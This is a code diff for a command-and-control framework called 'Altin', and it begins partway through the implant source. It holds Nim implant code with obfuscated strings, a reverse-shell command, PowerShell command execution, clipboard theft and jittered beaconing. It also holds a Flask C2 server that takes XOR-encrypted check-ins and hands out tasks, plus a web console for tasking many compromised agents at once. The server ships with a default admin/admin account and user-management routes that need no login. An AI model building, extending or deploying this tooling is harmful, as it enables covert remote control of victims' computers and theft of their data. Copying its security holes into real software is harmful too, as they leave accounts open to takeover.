return "Reverse shell started"
proc pid*(task: JsonNode): string =
try:
var pid: int = getCurrentProcessId()
return $pid
except Exception as e:
return obf("Failed to get the PID: ") & e.msg
proc sleepThenQuit(): void =
sleep(1000)
quit(0)
proc kill*(task: JsonNode): string =
spawn sleepThenQuit()
return obf("Killing the agent...")

View File

@ -0,0 +1,18 @@
import os
import random
import config
import utils
var sleepTime*: int = CHECKIN_SLEEP
var jitterTime*: int = CHECKIN_SLEEP_JITTER
randomize()
proc doSleep*(): void =
var time: int = (sleepTime + rand(jitterTime * -1..jitterTime)) * 1000
when not defined(release):
echo obf("Sleeping for ") & $time & obf("ms")
sleep(time)

View File

@ -0,0 +1,25 @@
import macros, hashes
# https://github.com/chvancooten/NimPlant/blob/main/client/util/strenc.nim
type
dstring = distinct string
proc calculate*(s: dstring, key: int): string {.noinline.} =
var k = key
result = string(s)
for i in 0 ..< result.len:
for f in [0, 8, 16, 24]:
result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
k = k +% 1
var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF
macro obf*(s: untyped): untyped =
if len($s) < 1000:
var encodedStr = calculate(dstring($s), eCtr)
result = quote do:
calculate(dstring(`encodedStr`), `eCtr`)
eCtr = (eCtr *% 16777619) and 0x7FFFFFFF
else:
result = s

View File

@ -0,0 +1,78 @@
import osproc
import posix
import json
import winim/lean
import winim/inc/lm
import winim/utils
import threadpool
import utils
proc shell*(task: JsonNode): string =
var args: seq[JsonNode] = task["args"].getElems
var command: string = args[0].getStr
try:
var commandOutput: string
(commandOutput, _) = execCmdEx(obf("powershell ") & command)
return commandOutput
except:
return obf("Failed to run the command")
proc whoami*(task: JsonNode): string =
try:
var buffer = newWString(UNLEN + 1)
var cb = DWORD buffer.len
GetUserNameW(&buffer, &cb)
buffer.setLen(cb - 1)
return $buffer
except Exception as e:
return obf("Failed to get the current user: ") & e.msg
proc spawnMsgbox(body: string, title: string): void =
discard MessageBox(0, body, title, 0)
proc msgBox*(task: JsonNode): string =
var args: seq[JsonNode] = task["args"].getElems
var title: string = args[0].getStr
var body: string = args[1].getStr
try:
spawn spawnMsgbox(body, title)
return ""
except Exception as e:
return obf("Failed to display the message box: ") & e.msg
proc getClipboard*(task: JsonNode): string =
try:
if OpenClipboard(0) == 0:
return obf("Unable to open the clipboard")
if IsClipboardFormatAvailable(CF_UNICODETEXT) == 0:
CloseClipboard()
return ""
let hClipboardData = GetClipboardData(CF_UNICODETEXT)
if hClipboardData == 0:
CloseClipboard()
return obf("Failed to get the clipboard")
let pchData = GlobalLock(hClipboardData)
if pchData == nil:
CloseClipboard()
return obf("Failed to get the clipboard")
let clipboardText = $cast[LPWSTR](pchData)
discard GlobalUnlock(hClipboardData)
CloseClipboard()
return clipboardText
except Exception as e:
return obf("Failed to get the clipboard: ") & e.msg

2
server/.dockerignore Normal file
View File

@ -0,0 +1,2 @@
.env
.env.*

18
server/Dockerfile Normal file
View File

@ -0,0 +1,18 @@
FROM python:3.12-slim
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
PIP_NO_CACHE_DIR=1 \
PIP_DISABLE_PIP_VERSION_CHECK=1
WORKDIR /app
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt gunicorn==23.0.0
COPY altin/ ./altin/
RUN useradd --create-home --uid 10001 altin && chown -R altin:altin /app
USER altin
CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:${ALTIN_PORT:-3000} --workers 1 --threads 4 --access-logfile - --error-logfile - altin:app"]

22
server/altin/__init__.py Normal file
View File

@ -0,0 +1,22 @@
from flask import Flask, request
from flask_cors import CORS
from .config import load_config, validate_config
load_config()
validate_config()
from .config import config
from .database import init_db
init_db()
from .c2_routes import c2_routes
from .management_routes import management_routes
app = Flask(__name__)
CORS(app, resources={r'/api/*': {'origins': '*'}})
app.register_blueprint(c2_routes)
app.register_blueprint(management_routes)

72
server/altin/agent.py Normal file
View File

@ -0,0 +1,72 @@
from .database import Agent, Task, TaskResult, Key
import json
import uuid
from datetime import datetime
ACTION_CHECKIN = 1
ACTION_REGISTER = 2
ACTION_TASK_RESULT = 3
STATUS_ERROR = 0
STATUS_CONTINUE = 1
STATUS_TASKS = 2
STATUS_REGISTER = 3
STATUS_INVALID = 4
def create_agent(implant_id: str, ip: str, os: str, commands: list) -> None:
Agent.create(implant_id=str(implant_id), ip=str(ip), os=str(os), commands=str(json.dumps(commands)))
def is_agent(implant_id: str, ip: str) -> bool:
return(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip)).exists())
def get_agent_id(implant_id: str, ip: str) -> str:
return(str(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip))[0].id))
def get_active_tasks(agent_id: str) -> list[dict]:
tasks = []
for task in Task.select().where((Task.agent == agent_id) & (Task.completed == False)):
tasks.append({
"task_id": str(task.id),
"task": str(task.task),
"args": json.loads(task.args)
})
return(tasks)
def mark_task_sent(task_id: str) -> None:
Task.update(sent=True).where(Task.id == uuid.UUID(task_id)).execute()
def log_task_result(task_id: str, result: str) -> None:
TaskResult.create(task=uuid.UUID(task_id), result=str(result))
Task.update(completed=True).where(Task.id == uuid.UUID(task_id)).execute()
def update_last_checkin(agent_id: str) -> None:
Agent.update(last_checkin=datetime.now()).where(Agent.id == agent_id).execute()
def validate_commands(commands: list) -> bool:
command_names = []
for command in commands:
if 'command' in command and 'description' in command and 'args' in command:
if command['command'] in command_names: # Duplicate command name
return(False)
command_names.append(command['command'])
arg_names = []
for arg in command['args']:
if 'name' in arg and 'arg_type' in arg and 'description' in arg and 'required' in arg:
if arg['name'] in arg_names: # Duplicate argument name
return('False')
arg_names.append(arg['name'])
else: # Invalid argument keys
return(False)
else: # Invalid command keys
return(False)
return(True)

24
server/altin/auth.py Normal file
View File

@ -0,0 +1,24 @@
from flask import request, jsonify
from functools import wraps
import jwt
from datetime import datetime
from .config import config
def login_required(f):
@wraps(f)
def login_required_decorator(*args, **kwargs):
if 'Authorization' not in request.headers:
return(jsonify({'message': 'Authorization header required'}), 401)
try:
decoded_token = jwt.decode(request.headers['Authorization'], config['jwt_secret'], algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return(jsonify({'message': 'Invalid authorization'}), 401)
except jwt.InvalidTokenError:
return(jsonify({'message': 'Invalid authorization'}), 401)
return f(*args, **kwargs)
return(login_required_decorator)

111
server/altin/c2_routes.py Normal file
View File

@ -0,0 +1,111 @@
from flask import Blueprint, request
import json
from .database import Key
from . import agent
c2_routes = Blueprint('c2_routes', __name__)
def xor_data(key: str, data: str) -> str:
xored = ''
for i in range(len(data)):
xored += chr(ord(data[i]) ^ ord(key[i % len(key)]))
return(xored)
@c2_routes.route('/', defaults={'path': ''}, methods=['POST'])
@c2_routes.route('/<path:path>', methods=['POST'])
def c2_catchall(path: str):
encrypted_data = request.data.decode('utf-8')
found_key = False
agent_key = ''
data = None
for key in Key.select():
try:
decrypted_data = xor_data(key.key, encrypted_data)
except:
continue
try:
data = json.loads(decrypted_data)
except:
# Invalid json
pass
found_key = True
agent_key = str(key.key)
break
# Return empty response if no key is found
if not found_key or not data:
return('')
if 'implant_id' not in data or 'ip' not in data or 'action' not in data:
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "requst must conain an `implant_id`, `ip`, and `action` keys"}'))
# Agent action
if data['action'] == agent.ACTION_REGISTER:
if 'registration' not in data:
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "registration action request must include a `registration` key"}'))
# Check if this agent is already registered
if agent.is_agent(data['implant_id'], data['ip']):
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + ', "message": "already registered"}'))
# Validate commands
if not agent.validate_commands(data['registration']['commands']):
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "invalid commands"}'))
agent.create_agent(data['implant_id'], data['ip'], data['registration']['os'], data['registration']['commands'])
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
agent.update_last_checkin(agent_id)
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
elif data['action'] == agent.ACTION_CHECKIN:
if not agent.is_agent(data['implant_id'], data['ip']):
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}'))
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
agent.update_last_checkin(agent_id)
if agent_id == None:
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_ERROR) + ', "message": "something went wrong"}'))
active_tasks = agent.get_active_tasks(agent_id)
# If there aren't any tasks, just continue
if len(active_tasks) == 0:
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
# Mark the tasks sent
for task in active_tasks:
agent.mark_task_sent(task['task_id'])
return(xor_data(agent_key, '{"status": ' + json.dumps(agent.STATUS_TASKS) + ', "tasks": ' + json.dumps(active_tasks) + '}'))
elif data['action'] == agent.ACTION_TASK_RESULT:
if not agent.is_agent(data['implant_id'], data['ip']):
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}'))
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
agent.update_last_checkin(agent_id)
if 'result' not in data:
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result action request must include a `result` key"}'))
# Validate the result
if 'task_id' not in data['result'] or 'result' not in data['result']:
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result must contain a `task_id` and `result` key"}'))
# Log the result to the database
agent.log_task_result(data['result']['task_id'], data['result']['result'])
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
else:
return(xor_data(agent_key, f'{"status": {agent.STATUS_INVALID}, "message": "invalid action"}'))

45
server/altin/config.py Normal file
View File

@ -0,0 +1,45 @@
import os
from dotenv import load_dotenv
config = {}
def load_config() -> None:
global config
load_dotenv()
try:
config = {
'port': int(os.environ.get('ALTIN_PORT', default=3030)),
'database': str(os.environ.get('ALTIN_DATABASE', default='sqlite')),
'db_path': str(os.environ.get('ALTIN_SQLITE_PATH', default='altin.db')),
'db_db': str(os.environ.get('ALTIN_PGSQL_DATABASE', default=None)),
'db_host': str(os.environ.get('ALTIN_PGSQL_HOST', default=None)),
'db_port': str(os.environ.get('ALTIN_PGSQL_PORT', default=None)),
'db_user': str(os.environ.get('ALTIN_PGSQL_USER', default=None)),
'db_password': str(os.environ.get('ALTIN_PGSQL_PASSWORD', default=None)),
'jwt_secret': str(os.environ.get('ALTIN_JWT_SECRET', default=None))
}
except Exception as e:
print(f'Failed to load config: {e}')
quit(1)
def validate_config() -> None:
global config
valid = True
message = ''
if config['database'] not in ['sqlite', 'postgres']:
message += 'ALTIN_DATABASE must be `sqlite` or `postgres`\n'
valid = False
if not config['jwt_secret']:
message += 'ALTIN_JWT_SECRET must be set\n'
valid = False
if not valid:
print('Invalid config!')
print(message)
quit(1)

123
server/altin/database.py Normal file
View File

@ -0,0 +1,123 @@
import peewee
import uuid
import json
from datetime import datetime
import hashlib
from .config import config
if config['database'] == 'sqlite':
db = peewee.SqliteDatabase(config['db_path'], pragmas={'journal_mode': 'wal'})
if config['database'] == 'postgres':
db = peewee.PostgresqlDatabase(
config['db_db'],
host=config['db_host'],
port=int(config['db_port']) if config['db_port'] not in (None, 'None') else 5432,
user=config['db_user'],
password=config['db_password']
)
class Agent(peewee.Model):
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
implant_id = peewee.CharField(null=False)
ip = peewee.CharField(null=False)
os = peewee.CharField(null=False)
commands = peewee.TextField(null=False)
tags = peewee.TextField(null=False, default='[]')
last_checkin = peewee.DateTimeField(null=False, default=datetime.now)
def serialize(self):
return({
'id': self.id,
'implant_id': self.implant_id,
'ip': self.ip,
'os': self.os,
'commands': json.loads(self.commands),
'tags': json.loads(self.tags),
'last_checkin': self.last_checkin
})
class Meta:
database = db
db_table = 'agents'
class Task(peewee.Model):
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
agent = peewee.ForeignKeyField(Agent, 'id', null=False, on_delete='CASCADE')
task = peewee.CharField(null=False)
args = peewee.TextField(null=False, default='[]')
sent = peewee.BooleanField(null=False, default=False)
completed = peewee.BooleanField(null=False, default=False)
def serialize(self):
return({
'id': self.id,
'agent': str(self.agent),
'task': self.task,
'args': json.loads(self.args),
'sent': self.sent,
'completed': self.completed
})
class Meta:
database = db
db_table = 'tasks'
class TaskResult(peewee.Model):
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
task = peewee.ForeignKeyField(Task, 'id', null=False, on_delete='CASCADE')
result = peewee.TextField(null=True)
timestamp = peewee.DateTimeField(null=False, default=datetime.now)
def serialize(self):
return({
'id': self.id,
'task': str(self.task),
'result': self.result,
'timestamp': str(self.timestamp)
})
class Meta:
database = db
db_table = 'task_results'
class Key(peewee.Model):
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
name = peewee.CharField(null=False)
key = peewee.CharField(null=False)
def serialize(self):
return({
'id': self.id,
'name': self.name,
'key': self.key
})
class Meta:
database = db
db_table = 'keys'
class User(peewee.Model):
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
username = peewee.CharField(null=False)
password = peewee.CharField(null=False)
admin = peewee.BooleanField(null=False, default=False)
def serialize(self):
return({
'id': self.id,
'username': self.username,
'admin': self.admin
})
class Meta:
database = db
db_table = 'user'
def init_db() -> None:
db.create_tables([Agent, Task, TaskResult, Key, User])
# Default user check
if not User.select().where(User.username == 'admin').exists():
User.create(username='admin', password=hashlib.sha512('admin'.encode('utf-8')).hexdigest(), admin=1)

View File

@ -0,0 +1,314 @@
from flask import Blueprint, request, jsonify
import json
import hashlib
import jwt
from datetime import datetime, timedelta
from .config import config
from .database import Agent, Task, TaskResult, Key, User
from .auth import login_required
management_routes = Blueprint('management_routes', __name__)
# Login
@management_routes.route('/api/login', methods=['POST'])
def login():
if 'username' not in request.json or 'password' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
user = User.select().where((User.username == request.json['username']) & (User.password == hashlib.sha512(request.json['password'].encode('utf-8')).hexdigest()))
if not user.exists():
return(jsonify({'message': 'Invalid username or password'}), 401)
now = datetime.now()
token = jwt.encode({'user_id': user[0].id, 'admin': user[0].admin, 'iat': now, 'exp': now+timedelta(days=1)}, config['jwt_secret'], algorithm='HS256')
return(jsonify({'message': 'Success', 'token': token}), 200)
# Agents
@management_routes.route('/api/agents', methods=['GET'])
@login_required
def get_agents():
agents = []
query = Agent.select()
if 'ip' in request.args:
query = query.where(Agent.ip == request.args['ip'])
if 'implant' in request.args:
query = query.where(Agent.implant_id == request.args['implant'])
if 'os' in request.args:
query = query.where(Agent.os == request.args['os'])
for agent in Agent.select():
agents.append(agent.serialize())
return(jsonify({'agents': agents}), 200)
@management_routes.route('/api/agents/<agent_id>', methods=['GET'])
@login_required
def get_agent(agent_id: str):
agent = Agent.select().where(Agent.id == str(agent_id)).first()
if not agent:
return(jsonify({'message': 'No such agent'}), 404)
return(jsonify(agent.serialize()), 200)
@management_routes.route('/api/agents/<agent_id>', methods=['DELETE'])
@login_required
def delete_agent(agent_id: str):
agent = Agent.select().where(Agent.id == str(agent_id)).first()
if not agent:
return(jsonify({'message': 'No such agent'}), 404)
for task in Task.select().where(Task.agent_id == agent.id):
TaskResult.delete().where(TaskResult.task_id == task.id).execute()
task.delete().execute()
agent.delete().execute()
return(jsonify({'message': 'The agent was deleted'}), 204)
@management_routes.route('/api/agents/<agent_id>/tags', methods=['POST'])
@login_required
def tag_agent(agent_id: str):
agent = Agent.select().where(Agent.id == str(agent_id)).first()
if not agent:
return(jsonify({'message': 'No such agent'}), 404)
if 'tags' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
tags = request.json['tags']
if type(tags) != list:
return(jsonify({'message': 'Invalid request'}), 400)
agent_tags = json.loads(agent.tags)
for tag in tags:
if tag not in agent_tags:
agent_tags.append(tag)
agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute()
return(jsonify({'message': 'Agent updated'}), 201)
@management_routes.route('/api/agents/<agent_id>/tags', methods=['DELETE'])
@login_required
def untag_agent(agent_id: str):
agent = Agent.select().where(Agent.id == str(agent_id)).first()
if not agent:
return(jsonify({'message': 'No such agent'}), 404)
if 'tags' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
tags = request.json['tags']
if type(tags) != list:
return(jsonify({'message': 'Invalid request'}), 400)
agent_tags = json.loads(agent.tags)
agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute()
return(jsonify({'message': 'Agent updated'}), 201)
# Tasks
@management_routes.route('/api/tasks', methods=['GET'])
@login_required
def get_tasks():
tasks = []
query = Task.select()
if 'id' in request.args:
query = query.where(Task.agent_id == request.args['id'])
if 'agent' in request.args:
query = query.where(Task.agent_id == request.args['agent'])
if 'sent' in request.args:
if request.args['sent'].lower() == 'true':
query = query.where(Task.sent == True)
elif request.args['sent'].lower() == 'false':
query = query.where(Task.sent == False)
else:
return(jsonify({'message': 'Invalid request'}), 400)
if 'completed' in request.args:
if request.args['completed'].lower() == 'true':
query = query.where(Task.completed == True)
elif request.args['completed'].lower() == 'false':
query = query.where(Task.completed == False)
else:
return(jsonify({'message': 'Invalid request'}), 400)
for task in query:
tasks.append(task.serialize())
return(jsonify({'tasks': tasks}), 200)
# Task results
@management_routes.route('/api/task-results', methods=['GET'])
@login_required
def get_taskresults():
results = []
query = TaskResult.select()
if 'id' in request.args:
query = query.where(TaskResult.id == request.args['id'])
if 'task_id' in request.args:
query = query.where(TaskResult.task == request.args['agent'])
for result in query:
results.append(result.serialize())
return(jsonify({'results': results}), 200)
@management_routes.route('/api/tasks', methods=['POST'])
@login_required
def create_task():
if 'agent_id' not in request.json or 'command' not in request.json or 'args' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
query = Agent.select().where(Agent.id==request.json['agent_id'])
if len(query) == 0:
return(jsonify({'message': 'No such agent'}), 404)
commands_json = json.loads(query[0].commands)
for command in commands_json:
if command['command'] == request.json['command']:
user_args = request.json['args']
required_args = 0
for arg in command['args']:
if arg['required'] == True:
required_args += 1
if len(user_args) != required_args:
return(jsonify({'message': 'Invalid command arguments'}), 404)
Task.create(agent=request.json['agent_id'], task=request.json['command'], args=json.dumps(user_args))
return(jsonify({'message': 'Task sent'}), 201)
return(jsonify({'message': 'Invalid task'}), 400)
# Keys
@management_routes.route('/api/keys', methods=['GET'])
@login_required
def get_keys():
keys = []
for key in Key.select():
keys.append(key.serialize())
return(jsonify({'keys': keys}), 200)
@management_routes.route('/api/keys', methods=['POST'])
@login_required
def create_key():
if 'key' not in request.json or 'name' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
name = request.json['name']
key = request.json['key']
if Key.select().where(Key.name==name).exists():
return(jsonify({'message': 'A key with that name already exists'}))
Key.create(name=name, key=key)
return(jsonify({'message': 'The key was created'}), 201)
@management_routes.route('/api/keys', methods=['DELETE'])
@login_required
def delete_key():
if 'id' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
key_id = request.json['id']
if not Key.select().where(Key.id==key_id).exists():
return(jsonify({'message': 'No such key'}), 404)
Key.delete().where(Key.id == key_id).execute()
return(jsonify({'message': 'The key was deleted'}), 204)
# Users
@management_routes.route('/api/users', methods=['GET'])
def get_users():
users = []
for user in User.select():
users.append(user.serialize())
return(jsonify({'users': users}), 200)
@management_routes.route('/api/users', methods=['POST'])
def create_user():
if 'username' not in request.json or 'password' not in request.json or 'admin' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
username = request.json['username']
password = request.json['password']
admin = request.json['admin']
if admin not in [True, False]:
return(jsonify({'message': 'Invalid request'}), 400)
if User.select().where(User.username == username).exists():
return(jsonify({'message': 'A user with that username already exists'}), 403)
User.create(username=username, password=hashlib.sha512(password.encode('utf-8')).hexdigest(), admin=admin)
return(jsonify({'message': 'Success'}), 200)
@management_routes.route('/api/users', methods=['PATCH'])
def edit_user():
if 'id' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
if not User.select().where(User.id == request.json['id']).exists():
return(jsonify({'message': 'No such user'}), 404)
if 'username' in request.json:
User.update(username=request.json['username']).where(User.id==request.json['id']).execute()
elif 'password' in request.json:
User.update(password=request.json['password']).where(User.id==request.json['id']).execute()
elif 'admin' in request.json:
if admin not in [True, False]:
return(jsonify({'message': 'Invalid request'}), 400)
User.update(admin=request.json['admin']).where(User.id==request.json['id']).execute()
return(jsonify({'message': 'User updated'}), 200)
@management_routes.route('/api/users', methods=['DELETE'])
def delete_user():
if 'id' not in request.json:
return(jsonify({'message': 'Invalid request'}), 400)
if not User.select().where(User.id == request.json['id']).exists():
return(jsonify({'message': 'No such user'}), 404)
User.delete().where(User.id == request.json['id']).execute()
return(jsonify({'message': 'User deleted'}), 204)

3
server/debug_server.py Normal file
View File

@ -0,0 +1,3 @@
import altin
altin.app.run(debug=True, port=altin.config['port'])

6
server/requirements.txt Normal file
View File

@ -0,0 +1,6 @@
Flask==2.3.2
flask-cors==4.0.0
PyJWT==2.8.0
peewee==3.16.3
psycopg2-binary==2.9.13
python-dotenv==1.0.0

9
webui/Dockerfile Normal file
View File

@ -0,0 +1,9 @@
FROM nginx:alpine
RUN rm -rf /usr/share/nginx/html/*
COPY --exclude=Dockerfile . /usr/share/nginx/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

250
webui/agents.html Normal file
View File

@ -0,0 +1,250 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Altin | Agents</title>
<link rel="stylesheet" href="/assets/css/main.css">
<link rel="stylesheet" href="/assets/css/home.css">
<script defer src="/assets/js/agents.js"></script>
</head>
<body class="app-page">
<div class="app-layout">
<aside class="sidebar">
<div class="brand-block">
<div class="brand-name">Altin</div>
<div class="brand-subtitle">Management console</div>
</div>
<div class="sidebar-section">
<nav class="nav-list" aria-label="Primary">
<a class="nav-item" href="/index.html">
<span>Overview</span>
</a>
<a class="nav-item is-active" href="/agents.html">
<span>Agents</span>
</a>
<a class="nav-item" href="/keys.html">
<span>Keys</span>
</a>
<a class="nav-item" href="/users.html">
<span>Users</span>
</a>
</nav>
</div>
<div class="sidebar-footer">
<div class="sidebar-info">
<strong>Session</strong><br>
<span id="serverChip">loading…</span>
</div>
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
<button class="button" id="logoutButton" type="button">Logout</button>
</div>
</aside>
<main class="main-shell">
<header class="page-header page-header-spaced">
<div>
<div class="page-title">Agents</div>
<div class="page-error" id="pageError" role="status" aria-live="polite"></div>
</div>
<div class="topbar-actions">
<!-- Matches keys.html and users.html: a .button-secondary Refresh
first in .topbar-actions. Selection and bulk tasking stay in
the "Selected agents" bar below. -->
<button class="button-secondary" id="refreshAgentsButton" type="button">Refresh</button>
</div>
</header>
<section class="page-section">
<section class="agents-toolbar panel">
<div class="filter-grid">
<div>
<label class="field-label" for="agentSearch">Search</label>
<input class="input" id="agentSearch" type="search" placeholder="ID, IP, or Tag">
</div>
<div>
<label class="field-label" for="implantFilter">Implant type</label>
<select class="select" id="implantFilter">
<option value="all">All implant types</option>
</select>
</div>
<div>
<label class="field-label" for="osFilter">OS</label>
<select class="select" id="osFilter">
<option value="all">All operating systems</option>
</select>
</div>
</div>
<div class="selection-bar">
<div>
<span class="selection-label">Selected agents</span>
<div class="selection-count" id="selectionCount">0 selected</div>
</div>
<div class="selection-actions">
<button class="button-secondary" id="selectFilteredButton" type="button">Select filtered</button>
<button class="button-secondary" id="clearSelectionButton" type="button">Clear</button>
<button class="button" id="openBulkTaskButton" type="button">Bulk tasking</button>
</div>
</div>
<div class="selection-chips" id="selectionChips"></div>
</section>
<section class="panel agents-table-panel">
<div class="table-wrap">
<table class="data-table">
<thead>
<tr>
<th class="table-check"><span class="sr-only">Select</span></th>
<th>IP</th>
<th>Implant</th>
<th>OS</th>
<th>Tags</th>
<th>Last check-in</th>
<th>Commands</th>
<th class="table-actions-cell">Actions</th>
</tr>
</thead>
<tbody id="agentsTableBody"></tbody>
</table>
</div>
</section>
</section>
</main>
</div>
<div class="modal-backdrop hidden" id="interactModal" aria-hidden="true">
<div class="modal-card card modal-card-wide" role="dialog" aria-modal="true" aria-labelledby="interactTitle">
<div class="modal-header">
<div class="modal-title-row">
<h2 id="interactTitle">Interact</h2>
<p id="interactSubtitle">Loading agent…</p>
</div>
<button class="icon-button" id="closeInteractButton" type="button">✕</button>
</div>
<div class="console-status-bar">
<span class="console-agent-chip" id="interactAgentChip">—</span>
<span class="console-hint" id="interactHint">Pick a command and send it to this agent.</span>
</div>
<div class="console-log" id="interactLog" role="log" aria-live="polite" aria-label="Command output"></div>
<div class="console-composer">
<div class="console-command-row">
<div>
<label class="field-label" for="interactCommand">Command</label>
<select class="select" id="interactCommand"></select>
</div>
<div class="console-command-help" id="interactCommandHelp"></div>
</div>
<div id="interactArgsContainer"></div>
</div>
<div class="modal-footer">
<div class="modal-message" id="interactMessage"></div>
<div class="modal-actions-inline">
<button class="button-secondary" id="clearInteractButton" type="button">Clear console</button>
<button class="button-secondary" id="cancelInteractButton" type="button">Close</button>
<button class="button" id="sendInteractButton" type="button">Send</button>
</div>
</div>
</div>
</div>
<div class="modal-backdrop hidden" id="historyModal" aria-hidden="true">
<div class="modal-card card modal-card-wide" role="dialog" aria-modal="true" aria-labelledby="historyTitle">
<div class="modal-header">
<div class="modal-title-row">
<h2 id="historyTitle">Command history</h2>
<p id="historySubtitle">Loading…</p>
</div>
<button class="icon-button" id="closeHistoryButton" type="button">✕</button>
</div>
<div class="history-toolbar">
<div class="history-search">
<label class="field-label" for="historySearch">Filter</label>
<input class="input" id="historySearch" type="search" placeholder="Command name or argument" autocomplete="off">
</div>
<div class="history-summary" id="historySummary" role="status" aria-live="polite">—</div>
</div>
<div class="history-list" id="historyList"></div>
<div class="modal-footer">
<div class="modal-message" id="historyMessage"></div>
<div class="modal-actions-inline">
<button class="button-secondary" id="refreshHistoryButton" type="button">Refresh</button>
<button class="button" id="doneHistoryButton" type="button">Done</button>
</div>
</div>
</div>
</div>
<div class="modal-backdrop hidden" id="bulkTaskModal" aria-hidden="true">
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="bulkTaskTitle">
<div class="modal-header">
<div>
<h2 id="bulkTaskTitle">Bulk task</h2>
<p>Review the targets, then pick one command to send to all of them.</p>
</div>
<button class="icon-button" id="closeBulkTaskButton" type="button">✕</button>
</div>
<div class="modal-layout">
<section class="modal-panel">
<span class="selection-label">Selected agents</span>
<div class="selection-count" id="bulkTargetCount">0 selected</div>
<div class="selection-chips compact" id="bulkTargetChips"></div>
</section>
<section class="modal-panel modal-command-panel">
<div>
<label class="field-label" for="bulkCommand">Command</label>
<select class="select" id="bulkCommand"></select>
</div>
<div id="bulkArgsContainer"></div>
</section>
</div>
<div class="modal-footer">
<div class="modal-message" id="bulkTaskMessage"></div>
<div class="modal-actions-inline">
<button class="button-secondary" id="cancelBulkTaskButton" type="button">Cancel</button>
<button class="button" id="submitBulkTaskButton" type="button">Send task</button>
<!-- Label is rewritten to "Send task to N agents" on open, from
the table selection. The static text is the zero fallback. -->
</div>
</div>
</div>
</div>
<div class="modal-backdrop hidden" id="deleteAgentModal" aria-hidden="true">
<div class="modal-card card delete-card" role="dialog" aria-modal="true" aria-labelledby="deleteAgentTitle" aria-describedby="deleteWarning">
<div class="modal-header">
<div>
<h2 id="deleteAgentTitle">Delete agent</h2>
<p>This removes the management record only. It does not stop the implant.</p>
</div>
<button class="icon-button" id="closeDeleteAgentButton" type="button">✕</button>
</div>
<div class="delete-body">
<dl class="delete-target" id="deleteTargetDetails"></dl>
</div>
<div class="modal-footer">
<div class="modal-message" id="deleteAgentMessage"></div>
<div class="modal-actions-inline">
<button class="button-secondary" id="cancelDeleteAgentButton" type="button">Cancel</button>
<button class="button button-danger" id="confirmDeleteAgentButton" type="button">Delete agent</button>
</div>
</div>
</div>
</div>
</body>
</html>

1189
webui/assets/css/home.css Normal file

File diff suppressed because it is too large Load Diff

126
webui/assets/css/login.css Normal file
View File

@ -0,0 +1,126 @@
.login-page {
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 2rem;
}
.login-shell {
width: min(100%, 520px);
margin: 0 auto;
display: grid;
grid-template-columns: 1fr;
gap: 1.5rem;
align-items: stretch;
}
.login-panel {
border: 1px solid var(--border-main);
background: linear-gradient(180deg, var(--overlay-subtle), transparent), var(--bg-panel);
box-shadow: var(--shadow);
}
.login-copy {
color: var(--text-muted);
line-height: 1.7;
}
.login-copy-compact {
margin-top: -0.25rem;
}
.login-panel {
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1rem;
border-top: 3px solid var(--border-strong);
}
.login-panel-header {
display: flex;
align-items: center;
justify-content: space-between;
gap: 1rem;
}
.login-card-logo {
color: var(--accent);
font-size: 1.9rem;
font-weight: 800;
letter-spacing: 0.18em;
text-transform: uppercase;
}
.theme-toggle {
min-width: 44px;
padding-inline: 0.75rem;
}
.login-form {
display: grid;
gap: 1rem;
}
.login-saved {
display: grid;
gap: 0.4rem;
}
.login-actions {
display: flex;
align-items: center;
justify-content: space-between;
gap: 1rem;
}
.login-option {
display: flex;
align-items: center;
gap: 0.6rem;
color: var(--text-muted);
font-size: 0.92rem;
}
.login-option input {
width: 16px;
height: 16px;
accent-color: var(--accent);
}
.login-message {
min-height: 1.4rem;
color: var(--text-muted);
font-size: 0.93rem;
}
.login-message[data-tone="success"] {
color: var(--success);
}
.login-message[data-tone="error"] {
color: var(--danger);
}
